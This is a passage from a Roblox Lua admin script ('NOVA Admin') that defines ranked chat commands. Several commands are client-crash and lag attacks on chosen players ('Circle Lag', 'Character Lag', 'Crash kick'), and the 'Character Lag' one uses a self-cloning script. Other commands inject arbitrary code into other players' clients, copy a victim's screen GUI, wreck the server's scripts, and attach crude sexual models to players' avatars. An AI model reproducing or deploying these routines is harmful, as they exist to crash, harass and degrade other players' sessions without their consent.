  4020. end
  4021. for i=5,1,-1 do
  4022. NOVA.Sounds.Sound.Parent = workspace
  4023. NOVA.Sounds.Sound.Volume = 1
  4024. NOVA.Sounds.Sound.Pitch = 1
  4025. NOVA.Sounds.Sound.SoundId = NOVA.Sounds.Numbers[i]
  4026. wait(1)
  4027. NOVA.Sounds.Sound:Play()
  4028. if NOVA.Overrided == true then return end
  4029. end
  4030. wait(1)
  4031. Instance.new("ManualSurfaceJointInstance",workspace)
  4032. Instance.new("StringValue",Workspace).Value = string.rep("NOVA SHUTDOWN SEQUENCE",1000000)
  4033. end))
  4034. end
  4035. )
  4036.  
  4037. AddCommand("Get Rid Of","getridof",6,"Gets rid of the selected player.","<Player>",
  4038. function(Msg,Speaker)
  4039. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4040. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4041. Output("Attempt to get rid of the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4042. else
  4043. pcall(function()
  4044. GetRidOf(v)
  4045. end)
  4046. end
  4047. end
  4048. end
  4049. )
  4050.  
  4051. AddCommand("Load","load",1,"Loads NOVA's sound files.","No Arguments",
  4052. function(Msg,Speaker)
  4053. coroutine.resume(coroutine.create(function()
  4054. for _,v in pairs(NOVA.Sounds.Numbers) do
  4055. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4056. NOVA.Sounds.Sound.SoundId = v
  4057. NOVA.Sounds.Sound.Volume = 0
  4058. wait()
  4059. NOVA.Sounds.Sound:Play()
  4060. wait()
  4061. NOVA.Sounds.Sound:Stop()
  4062. wait(1)
  4063. end
  4064. for _,v in pairs(NOVA.Sounds.PlayAfter) do
  4065. NOVA.Sounds.Sound.Parent = NOVA.Services.Workspace
  4066. NOVA.Sounds.Sound.SoundId = v
  4067. NOVA.Sounds.Sound.Volume = 0
  4068. wait()
  4069. NOVA.Sounds.Sound:Play()
  4070. wait()
  4071. NOVA.Sounds.Sound:Stop()
  4072. wait(1)
  4073. end
  4074. NOVA.Sounds.Sound.Volume = 1
  4075. end))
  4076. end
  4077. )
  4078.  
  4079. AddCommand("Target","targ",6,"Targets the selected player.","<Player>",
  4080. function(Msg,Speaker)
  4081. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4082. table.insert(NOVA.Targeted,v)
  4083. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4084. if part:IsA("Part") then
  4085. coroutine.resume(coroutine.create(function()
  4086. local SB = Instance.new("SelectionBox",part)
  4087. SB.Name = "NOVA Target Selection Box"
  4088. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4089. SB.Adornee = part
  4090. wait(3)
  4091. SB:remove()
  4092. end))
  4093. end
  4094. end
  4095. end
  4096. end
  4097. )
  4098.  
  4099. AddCommand("Un Target","untarg",6,"Un targets the selected player.","<Player>",
  4100. function(Msg,Speaker)
  4101. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4102. for i=1,#NOVA.Targeted do
  4103. if NOVA.Targeted[i] == v then
  4104. table.remove(NOVA.Targeted,i)
  4105. end
  4106. end
  4107. end
  4108. end
  4109. )
  4110.  
  4111. AddCommand("Rejoin","rejoin",0,"Sends you a teleport request to the same place.","No Arguments",
  4112. function(Msg,Speaker)
  4113. CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..game.PlaceId..[==[)]==],Speaker.Backpack)
  4114. end
  4115. )
  4116.  
  4117. AddCommand("Connect","connect",0,"Connects you to a NOVA Drone.","No Arguments",
  4118. function(Msg,Speaker)
  4119. CreateLocalScript([[
  4120.  
  4121. LocalPlayer = game:GetService("Players").LocalPlayer
  4122. script.Parent = LocalPlayer
  4123. NOVA = {
  4124. Bet = "/";
  4125. Services = {
  4126. Workspace = game:GetService("Workspace");
  4127. Lighting = game:GetService("Lighting");
  4128. Debris = game:GetService("Debris");
  4129. Players = game:GetService("Players");
  4130. Teams = game:GetService("Teams");
  4131. SoundService = game:GetService("SoundService");
  4132. StarterGui = game:GetService("StarterGui");
  4133. StarterPack = game:GetService("StarterPack");
  4134. };
  4135.  
  4136. Camera = workspace.CurrentCamera;
  4137. LocalCharacter = Instance.new("Model");
  4138. LocalHead = Instance.new("Part");
  4139. LocalFire = Instance.new("Fire");
  4140. }
  4141. script.Name = NOVA.LocalPlayer.Name
  4142. script.Parent = nil
  4143. repeat wait() until NOVA.LocalPlayer.Parent == nil
  4144. game.Players.LocalPlayer.Chatted:connect(function(Msg)
  4145. if not game.Players:findFirstChild(game.Players.LocalPlayer.Name) then
  4146. game:GetService("Chat"):Chat(NOVA.LocalHead,Msg,math.random(0,2))
  4147.  
  4148. if Msg == NOVA.Bet .. "rejoin" .. NOVA.Bet then
  4149. game:GetService'TeleportService':Teleport(game.PlaceId)
  4150. end
  4151. if Msg:sub(1,3) == NOVA.Bet .. "c" .. NOVA.Bet then
  4152. pcall(function()
  4153. newScript(Msg:sub(4),workspace)
  4154. end)
  4155. end
  4156. if Msg:sub(1,7) == NOVA.Bet .. "local" .. NOVA.Bet then
  4157. coroutine.resume(coroutine.create(function()
  4158. pcall(function()
  4159. loadstring(Msg:sub(8))()
  4160. end)
  4161. end))
  4162. end
  4163. if Msg:sub(1,11) == NOVA.Bet .. "workspace" .. NOVA.Bet then
  4164. LocalPlayer.Character = workspace
  4165. end
  4166. end
  4167. end)
  4168.  
  4169. NOVA.LocalPlayer.Character = nil
  4170. NOVA.LocalHead.FormFactor = "Custom"
  4171. NOVA.LocalHead.Size = Vector3.new(3,3,3)
  4172. NOVA.LocalHead.Reflectance = 1e+999
  4173. NOVA.LocalHead.Shape = "Ball"
  4174. NOVA.LocalHead.Anchored = true
  4175. NOVA.LocalHead.CanCollide = false
  4176. NOVA.LocalHead.Transparency = 0
  4177. NOVA.LocalCharacter.Name = NOVA.LocalPlayer.Name
  4178.  
  4179. NOVA.LocalFire.Color = Color3.new(0,0,0)
  4180. NOVA.LocalFire.SecondaryColor = Color3.new(0,0,0)
  4181. NOVA.LocalFire.Heat = 12
  4182. NOVA.LocalFire.Size = 7
  4183.  
  4184. while wait() do
  4185. pcall(function()
  4186. NOVA.LocalCharacter.Parent=workspace
  4187. NOVA.LocalHead.Parent = NOVA.LocalCharacter
  4188. NOVA.LocalHead.CFrame = NOVA.Camera.CoordinateFrame * CFrame.new(0,0,-30.517578125)
  4189. NOVA.LocalFire.Parent = NOVA.LocalHead
  4190. end)
  4191. end
  4192. ]],Speaker.Backpack)
  4193. end
  4194. )
  4195.  
  4196.  
  4197. AddCommand("Script","c",6,"Pseudo scripting command.","<Source>",
  4198. function(Msg,Speaker)
  4199. CreateScript(Msg,workspace)
  4200. end
  4201. )
  4202.  
  4203. AddCommand("New Local Script","newlocal",6,"Psudo scripting command.","<Player><Source>",
  4204. function(Msg,Speaker)
  4205. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4206. CreateLocalScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4207. end
  4208. end
  4209. )
  4210.  
  4211. AddCommand("New Script","newscript",6,"Psudo scripting command.","<Player><Source>",
  4212. function(Msg,Speaker)
  4213. for _,v in pairs(GetPlayers(Msg:sub(1,GetSplit(Msg)-1),Speaker)) do
  4214. CreateScript(Msg:sub(GetSplit(Msg)+1),v.Backpack)
  4215. end
  4216. end
  4217. )
  4218.  
  4219. AddCommand("Local Script","local",6,"Pseudo scripting command.","<Source>",
  4220. function(Msg,Speaker)
  4221. CreateLocalScript(Msg,Speaker.Backpack)
  4222. end
  4223. )
  4224.  
  4225. AddCommand("Derp","derp",1,"Derps the workspace.","No Arguments",
  4226. function(Msg,Speaker)
  4227. for _,v in pairs(GetRecursiveChildren(workspace)) do
  4228. pcall(function()
  4229. v.Transparency = 7.3015691270939e-002
  4230. end)
  4231. end
  4232. end
  4233. )
  4234.  
  4235. AddCommand("Circle Lag","circlag",6,"Lags the selected player with circles.","<Player>",
  4236. function(Msg,Speaker)
  4237. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4238. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4239. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4240. else
  4241. pcall(function()
  4242. CreateLocalScript([==[
  4243. LocalPlayer = game:GetService("Players").LocalPlayer
  4244. Camera = workspace.CurrentCamera
  4245. while wait() do
  4246. for i=1,10 do
  4247. Part = Instance.new("Seat",Camera)
  4248. Part.Size = Vector3.new(math.random(1,20),math.random(1,20),math.random(1,20))
  4249. Part.Shape = "Ball"
  4250. Part.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  4251. Part.CFrame = CFrame.new(math.random(-250,250),50,math.random(-250,250))
  4252. end
  4253. end
  4254. ]==],v.Backpack)
  4255. end)
  4256. end
  4257. end
  4258. end
  4259. )
  4260.  
  4261. AddCommand("Clear Camera","clearcam",3,"Clears the selected player's current camera.","<Player>",
  4262. function(Msg,Speaker)
  4263. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4264. CreateLocalScript("workspace.CurrentCamera:ClearAllChildren()",v.Backpack)
  4265. end
  4266. end
  4267. )
  4268.  
  4269. AddCommand("Screen Peek","screenpeek",4,"Shows you the selected player's playergui.","<Player>",
  4270. function(Msg,Speaker)
  4271. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4272. for _,GUI in pairs(v.PlayerGui:children()) do
  4273. GUI:Clone().Parent = Speaker.PlayerGui
  4274. end
  4275. end
  4276. end
  4277. )
  4278.  
  4279. AddCommand("Show Targeted","showtarg",1,"Shows the targeted players.","No Arguments",
  4280. function(Msg,Speaker)
  4281. for _,v in pairs(NOVA.Targeted) do
  4282. for _,part in pairs(GetRecursiveChildren(v.Character)) do
  4283. if part:IsA("Part") then
  4284. coroutine.resume(coroutine.create(function()
  4285. local SB = Instance.new("SelectionBox",part)
  4286. SB.Name = "NOVA Target Selection Box"
  4287. SB.Color = BrickColor.new(NOVA.Colors.Yellow)
  4288. SB.Adornee = part
  4289. wait(3)
  4290. SB:remove()
  4291. end))
  4292. end
  4293. end
  4294. end
  4295. end
  4296. )
  4297.  
  4298. AddCommand("Note To Self","nts",0,"Note to self commands. ( /add /set /see )","<Action>",
  4299. function(Msg,Speaker)
  4300. if Msg:sub(1,4) == "add" .. NOVA.Bet then
  4301. Speaker:SaveString("NoteToSelf",Speaker:LoadString("NoteToSelf").." "..Msg:sub(5))
  4302. elseif Msg:sub(1,4) == "set" .. NOVA.Bet then
  4303. Speaker:SaveString("NoteToSelf",Msg:sub(5))
  4304. elseif Msg == "see" then
  4305. Output(Speaker:LoadString("NoteToSelf"),GetRankedTable(Speaker).Color,Speaker)
  4306. end
  4307. end
  4308. )
  4309.  
  4310. AddCommand("Smite","smite",6,"Smites the selected player.","<Player>",
  4311. function(Msg,Speaker)
  4312. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4313. local Char = v.Character
  4314. local Smite = Instance.new("Part",workspace)
  4315. Smite.FormFactor = "Custom"
  4316. Smite.TopSurface = "Smooth"
  4317. Smite.BottomSurface = "Smooth"
  4318. Smite.Anchored = true
  4319. Smite.Locked = true
  4320. Smite.Size = Vector3.new(25,3,25)
  4321. Smite.BrickColor = BrickColor.new("New Yeller")
  4322. Smite.Transparency = 1
  4323. Smite.CFrame = Char.Torso.CFrame * CFrame.new(0,-2.5,0)
  4324. for i=1,0,-0.05 do
  4325. wait()
  4326. Smite.Transparency = i
  4327. end
  4328. coroutine.resume(coroutine.create(function()
  4329. for i=0,1,0.05 do
  4330. wait()
  4331. Smite.Transparency = i
  4332. end
  4333. Smite:remove()
  4334. end))
  4335. wait()
  4336. local Expl = Instance.new("Explosion",workspace)
  4337. Expl.Position = Smite.Position
  4338. Expl.BlastPressure = 1000000000
  4339.  
  4340. for _,Part in pairs(GetRecursiveChildren(Char)) do
  4341. if Part:IsA("BasePart") then
  4342. coroutine.resume(coroutine.create(function()
  4343. for i=1,10 do
  4344. local Sparkles = Instance.new("Sparkles",Part)
  4345. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4346. local Fire = Instance.new("Fire",Part)
  4347. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4348. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4349. end
  4350. Part:BreakJoints()
  4351. local BP = Instance.new("BodyPosition",Part)
  4352. BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  4353. BP.P = 1000
  4354. BP.position = Part.Position + Vector3.new(
  4355. math.random(-100,100),
  4356. 100,
  4357. math.random(-100,100))
  4358. wait(3)
  4359. local Expl = Instance.new("Explosion",workspace)
  4360. Expl.Position = Part.Position
  4361. Expl.BlastPressure = 1000000000
  4362. end))
  4363. end
  4364. end
  4365. end
  4366. end
  4367. )
  4368. AddCommand("Naked","naked",1,"Removes shirt and pants from player.","<Player>",
  4369. function(Msg,Speaker)
  4370. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4371. pcall(function()
  4372. v.Character.Pants:Remove()
  4373. v.Character.Shirt:Remove()
  4374. end)
  4375. end
  4376. end
  4377. )
  4378.  
  4379. AddCommand("Lock Humanoid Health","lockh",7,"Locks the health.","<Player>",
  4380. function(Msg,Speaker)
  4381. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4382.  
  4383. v.Character.Humanoid.Changed:connect(function(val)
  4384. if val == "Health" then
  4385. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4386. end
  4387.  
  4388.  
  4389. end)
  4390. end
  4391. end
  4392. )
  4393.  
  4394.  
  4395. AddCommand("Remove Tablets","rtab",7,"Removes tablets from player.","<Player>",
  4396. function(Msg,Speaker)
  4397. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4398.  
  4399. RemoveTablets(v)
  4400.  
  4401. end
  4402. end
  4403. )
  4404. AddCommand("Un D33k","und33k",7,"Removes the player's d33k.","No Arguments",
  4405. function(Msg,Speaker)
  4406. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4407. pcall(function()
  4408. person=v.Name
  4409. local plr = Game.Players[person]
  4410. color = "Pastel brown"
  4411. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4412. end)
  4413. end
  4414. end
  4415. )
  4416. AddCommand("D33k","d33k",7,"Gives the player a d33k.","No Arguments",
  4417. function(Msg,Speaker)
  4418. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4419. pcall(function()
  4420. person=v.Name
  4421. local plr = Game.Players[person]
  4422. color = "Pastel brown"
  4423. pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  4424. D = Instance.new("Model",plr.Character)
  4425. D.Name = "Nice thing"
  4426. bg = Instance.new("BodyGyro",plr.Character.Torso)
  4427. d = Instance.new("Part")
  4428. d.TopSurface = 0
  4429. d.BottomSurface = 0
  4430. d.Name = "Main"
  4431. d.Parent = plr.Character["Nice thing"]
  4432. d.formFactor = 3
  4433. d.Size = Vector3.new(0.6,2.5,0.6)
  4434. d.BrickColor = BrickColor.new(color)
  4435. d.Position = plr.Character.Head.Position
  4436. d.CanCollide = false
  4437. local cy = Instance.new("CylinderMesh")
  4438. cy.Parent = d
  4439. w = Instance.new("Weld")
  4440. w.Parent = plr.Character.Head
  4441. w.Part0 = d
  4442. w.Part1 = plr.Character.Head
  4443. w.C0 = CFrame.new(0,0.25,2.1)*CFrame.Angles(math.rad(45),0,0)
  4444. local c = Instance.new("Part")
  4445. c.Name = "Mush"
  4446. c.BottomSurface = 0
  4447. c.TopSurface = 0
  4448. c.FormFactor = 3
  4449. c.Size = Vector3.new(0.6,0.6,0.6)
  4450. c.CFrame = CFrame.new(d.Position)
  4451. c.BrickColor = BrickColor.new("Pink")
  4452. c.CanCollide = false
  4453. c.Parent = plr.Character["Nice thing"]
  4454. local msm = Instance.new("SpecialMesh")
  4455. msm.Parent = c
  4456. msm.MeshType = "Sphere"
  4457. local cw = Instance.new("Weld")
  4458. cw.Parent = c
  4459. cw.Part0 = d
  4460. cw.Part1 = c
  4461. cw.C0 = CFrame.new(0,1.3,0)
  4462. local ball1 = Instance.new("Part")
  4463. ball1.Parent = plr.Character["Nice thing"]
  4464. ball1.Name = "Left Ball"
  4465. ball1.BottomSurface = 0
  4466. ball1.TopSurface = 0
  4467. ball1.CanCollide = false
  4468. ball1.formFactor = 3
  4469. ball1.Size = Vector3.new(1,1,1)
  4470. ball1.CFrame = CFrame.new(plr.Character["Left Leg"].Position)
  4471. ball1.BrickColor = BrickColor.new(color)
  4472. local bsm = Instance.new("SpecialMesh")
  4473. bsm.Parent = ball1
  4474. bsm.MeshType = "Sphere"
  4475. local b1w = Instance.new("Weld")
  4476. b1w.Parent = ball1
  4477. b1w.Part0 = plr.Character["Left Leg"]
  4478. b1w.Part1 = ball1
  4479. b1w.C0 = CFrame.new(0,0.5,-.5)
  4480. local ball2 = Instance.new("Part")
  4481. ball2.Parent = plr.Character["Nice thing"]
  4482. ball2.Name = "Right Ball"
  4483. ball2.BottomSurface = 0
  4484. ball2.CanCollide = false
  4485. ball2.TopSurface = 0
  4486. ball2.formFactor = 3
  4487. ball2.Size = Vector3.new(1,1,1)
  4488. ball2.CFrame = CFrame.new(plr.Character["Right Leg"].Position)
  4489. ball2.BrickColor = BrickColor.new(color)
  4490. local b2sm = Instance.new("SpecialMesh")
  4491. b2sm.Parent = ball2
  4492. b2sm.MeshType = "Sphere"
  4493. local b2w = Instance.new("Weld")
  4494. b2w.Parent = ball2
  4495. b2w.Part0 = plr.Character["Right Leg"]
  4496. b2w.Part1 = ball2
  4497. b2w.C0 = CFrame.new(0,0.5,-.5)
  4498. end)
  4499. end
  4500. end
  4501. )
  4502. AddCommand("Change betkey","bet",7,"Changes the bet key.","<New bet Key>",
  4503. function(Msg,Speaker)
  4504. NOVA.Bet = Msg
  4505. end
  4506. )
  4507. AddCommand("Crash kick","ckick",7,"Makes the player lag badly and get kicked.","<Player>",
  4508. function(Msg,Speaker)
  4509. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4510.  
  4511. coroutine.resume(coroutine.create(function()
  4512. while wait() do
  4513. for i = 1, 100 do
  4514. if v:findFirstChild("PlayerGui") ~= nil then
  4515. local mes = Instance.new("Message", v.PlayerGui)
  4516. mes.Text = "Crashing"
  4517. local ex = Instance.new("Explosion", v.PlayerGui)
  4518. ex.BlastRadius = math.huge
  4519. local hint = Instance.new("Hint", v.PlayerGui)
  4520. hint.Text = "---------------------------------------------------------------------------"
  4521. local s = Instance.new("ScreenGui", v.PlayerGui)
  4522. local txt = Instance.new("TextBox", s)
  4523. txt.Size = UDim2.new(1, 0, 1, 0)
  4524. txt.Text = "Your Being Lagged"
  4525. txt.FontSize = "Size48"
  4526. end
  4527. end
  4528. end
  4529. end))
  4530. end
  4531. end
  4532. )
  4533. AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>",
  4534. function(Msg,Speaker)
  4535. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4536. pcall(function()
  4537. v.Chatted:connect(function(Msg)
  4538. local m = Instance.new("Explosion",v.Character.Head)
  4539. m.Position = v.Character.Head.Position
  4540. end)
  4541. end)
  4542. end
  4543. end
  4544. )
  4545. AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>",
  4546. function(Msg,Speaker)
  4547. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4548. pcall(function()
  4549. for _,Part in pairs(GetRecursiveChildren(v.Character)) do
  4550. if Part:IsA("BasePart") then
  4551. for i=1,10 do
  4552. local Sparkles = Instance.new("Sparkles",Part)
  4553. Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4554. local Fire = Instance.new("Fire",Part)
  4555. Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4556. Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1))
  4557. end
  4558. end
  4559. end
  4560. end)
  4561. end
  4562. end
  4563. )
  4564.  
  4565. AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments",
  4566. function(Msg,Speaker)
  4567. if NOVA.ShowChat == true then
  4568. NOVA.ShowChat = false
  4569. elseif NOVA.ShowChat == false then
  4570. NOVA.ShowChat = true
  4571. end
  4572. end
  4573. )
  4574.  
  4575.  
  4576. AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>",
  4577. function(Msg,Speaker)
  4578. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4579. if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then
  4580. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  4581. else
  4582. pcall(function()
  4583. CreateLocalScript([[
  4584. script.Parent = workspace.CurrentCamera
  4585. while wait() do
  4586. coroutine.resume(coroutine.create(function()
  4587. for i=1,math.huge do
  4588. wait()
  4589. for i=1,10 do
  4590. NS = script:Clone()
  4591. NS.Disabled = true
  4592. NS.Parent = game:GetService("Players").LocalPlayer.Backpack
  4593. NS.Disabled = false
  4594. end
  4595. for i=1,10 do
  4596. game:GetService("Players").LocalPlayer.Character.Archivable = true
  4597. local Clone = game:GetService("Players").LocalPlayer.Character:Clone()
  4598. Clone.Parent = workspace.CurrentCamera
  4599. end
  4600. end
  4601. end))
  4602. end]],
  4603. v.Backpack)
  4604. end)
  4605. end
  4606. end
  4607. end
  4608. )
  4609.  
  4610. AddCommand("Building","building",1,"Generates a building.","No Arguments",
  4611. function(Msg,Speaker)
  4612. Output("This command has been disabled/depricated.",NOVA.Colors.Orange,Speaker,5)
  4613. end
  4614. )
  4615.  
  4616. AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>",
  4617. function(Msg,Speaker)
  4618. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4619. pcall(function()
  4620. v.Character.Humanoid.PlatformStand = true
  4621. end)
  4622. end
  4623. end
  4624. )
  4625.  
  4626. AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>",
  4627. function(Msg,Speaker)
  4628. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4629. pcall(function()
  4630. v.Character.Humanoid.PlatformStand = false
  4631. end)
  4632. end
  4633. end
  4634. )
  4635.  
  4636. AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>",
  4637. function(Msg,Speaker)
  4638. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4639. pcall(function()
  4640. for _,Tool in pairs(v.Backpack:GetChildren()) do
  4641. Tool:Clone().Parent = Speaker.Backpack
  4642. end
  4643. end)
  4644. end
  4645. end
  4646. )
  4647.  
  4648. AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>",
  4649. function(Msg,Speaker)
  4650. local Give = {}
  4651. for _,v in pairs(NOVA.Services.Lighting:children()) do
  4652. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4653. function()
  4654. table.insert(Give,v:Clone())
  4655. end
  4656. )
  4657. end
  4658. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4659. function()
  4660. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4661. for _,Tool in pairs(Give) do
  4662. Tool:Clone().Parent = v.Backpack
  4663. end
  4664. end
  4665. RemoveTablets(Speaker)
  4666. end
  4667. )
  4668. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4669. end
  4670. )
  4671.  
  4672. AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments",
  4673. function(Msg,Speaker)
  4674. pcall(function()
  4675. for _,Tool in pairs(Speaker.Backpack:children()) do
  4676. Tool:Clone().Parent = NOVA.Services.Lighting
  4677. end
  4678. end)
  4679. end
  4680. )
  4681.  
  4682. AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>",
  4683. function(Msg,Speaker)
  4684. Split = GetSplit(Msg)
  4685. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4686. if v:FindFirstChild("PlayerGui") ~= nil then
  4687. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui)
  4688. end
  4689. end
  4690. end
  4691. )
  4692.  
  4693. AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments",
  4694. function(Msg,Speaker)
  4695. local Data = GetRankedTable(Speaker)
  4696. Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker)
  4697. Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker)
  4698. Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil,
  4699. function()
  4700. RemoveTablets(Speaker)
  4701. OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker)
  4702. end
  4703. )
  4704. Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker)
  4705. Output("How to use commands.",Data.Color,Speaker,nil,
  4706. function()
  4707. RemoveTablets(Speaker)
  4708. Output("To use a command you use 2 backslashes then the arguments seperated by backslashes.",Data.Color,Speaker)
  4709. Output("Please note it is a backslash ( located above/around the 'Return'/'Enter' key on your keyboard.",Data.Color,Speaker)
  4710. Output("Example : /kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker)
  4711. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end)
  4712. end
  4713. )
  4714. Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker)
  4715. end
  4716. )
  4717.  
  4718. AddCommand("Break","break",3,"Breaks all scripts in workspace.","No Arguments",
  4719. function(Msg,Speaker)
  4720. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4721. if v:IsA("Script") then
  4722. v.Disabled = true
  4723. v.Parent = NOVA.Services.Debris
  4724. v.Disabled = true
  4725. v:Destroy()
  4726. v.Parent = NOVA.Services.Debris
  4727. v.Disabled = true
  4728. v:Destroy()
  4729. end
  4730. end
  4731. end
  4732. )
  4733.  
  4734.  
  4735. AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments",
  4736. function(Msg,Speaker)
  4737. pcall(function()
  4738. CreateLocalScript([[
  4739. game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera
  4740. ]],
  4741. Speaker.Backpack
  4742. )
  4743. end)
  4744. end
  4745. )
  4746.  
  4747. AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>",
  4748. function(Msg,Speaker)
  4749. pcall(function()
  4750. NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  4751. end)
  4752. end
  4753. )
  4754. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  4755. function(Msg,Speaker)
  4756. pcall(function()
  4757. NOVA.Sounds.Sound.Looped = Msg
  4758. end)
  4759. end
  4760. )
  4761. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  4762. function(Msg,Speaker)
  4763. Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end)
  4764. end
  4765. )
  4766. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  4767. function(Msg,Speaker)
  4768. local Give = {}
  4769. for _,v in pairs(NOVA.Plugins) do
  4770. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  4771. function()
  4772. table.insert(Give,v:Clone())
  4773. end
  4774. )
  4775. end
  4776. Output("Done",NOVA.Colors.Green,Speaker,nil,
  4777. function()
  4778. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4779. for _,Tool in pairs(Give) do
  4780. New = Tool:Clone()
  4781. New.Parent = v.Backpack
  4782. pcall(function()
  4783. New.Disabled = false
  4784. end)
  4785. end
  4786. end
  4787. RemoveTablets(Speaker)
  4788. end
  4789. )
  4790. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4791. end
  4792. )
  4793. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  4794. function(Msg,Speaker)
  4795. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4796. pcall(function()
  4797. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4798. part.Locked = true
  4799. end
  4800. end)
  4801. end
  4802. end
  4803. )
  4804. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  4805. function(Msg,Speaker)
  4806. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  4807. pcall(function()
  4808. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  4809. part.Locked = false
  4810. end
  4811. end)
  4812. end
  4813. end
  4814. )
  4815. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  4816. function(Msg,Speaker)
  4817. Split = GetSplit(Msg)
  4818. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  4819. pcall(function()
  4820. CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  4821. end)
  4822. end
  4823. end
  4824. )
  4825. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
